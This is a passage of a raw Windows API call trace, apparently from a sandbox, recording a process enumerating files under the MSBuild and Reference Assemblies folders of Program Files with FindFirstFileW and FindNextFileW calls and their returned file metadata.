ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0157.496] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0157.496] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.496] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 1 [0157.497] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0157.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60498 | out: hHeap=0x300000) returned 1 [0157.497] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0157.497] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0157.497] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.497] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fae55dc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5fae55dc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x5fc160dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0157.497] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0157.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60498 | out: hHeap=0x300000) returned 1 [0157.497] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0157.497] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0157.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0157.497] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0157.498] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0157.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0157.498] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a8de300, ftCreationTime.dwHighDateTime=0x1cacf26, ftLastAccessTime.dwLowDateTime=0x553ced90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a8de300, ftLastWriteTime.dwHighDateTime=0x1cacf26, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.targets", cAlternateFileName="MICROS~1.TAR")) returned 1 [0157.498] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0157.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0157.498] FindNextFileW (in: hFindFile=0x41910c0, lpFindFileData=0x327fa84 | out: lpFindFileData=0x327fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0dc3730, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0dc3730, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0157.498] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0dc3730, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0dc3730, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41915c0 [0157.498] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0dc3730, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0dc3730, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.498] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910d9b20, ftCreationTime.dwHighDateTime=0x1d52707, ftLastAccessTime.dwLowDateTime=0x2b232400, ftLastAccessTime.dwHighDateTime=0x1d51a65, ftLastWriteTime.dwLowDateTime=0x2b232400, ftLastWriteTime.dwHighDateTime=0x1d51a65, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bangkok-updates.exe", cAlternateFileName="BANGKO~1.EXE")) returned 1 [0157.498] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0157.498] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.498] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0157.499] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0157.499] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.499] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0157.499] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0157.499] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.499] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5f4b44, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa5f4b44, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaaa915ec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0157.499] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0157.500] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.500] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0157.500] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0157.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a704a0 | out: hHeap=0x300000) returned 1 [0157.500] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0157.500] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0157.500] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.500] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5647fd36, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5647fd36, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754cb2bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0157.500] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0157.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a704a0 | out: hHeap=0x300000) returned 1 [0157.500] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0157.501] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0157.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60498 | out: hHeap=0x300000) returned 1 [0157.501] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0157.501] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0157.501] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.501] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565d698d, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x565d698d, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754f141c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0157.502] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0157.502] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.502] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0157.502] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0157.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a704a0 | out: hHeap=0x300000) returned 1 [0157.502] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0157.502] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0157.502] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.502] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0157.503] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0157.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a704a0 | out: hHeap=0x300000) returned 1 [0157.503] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0157.504] FindClose (in: 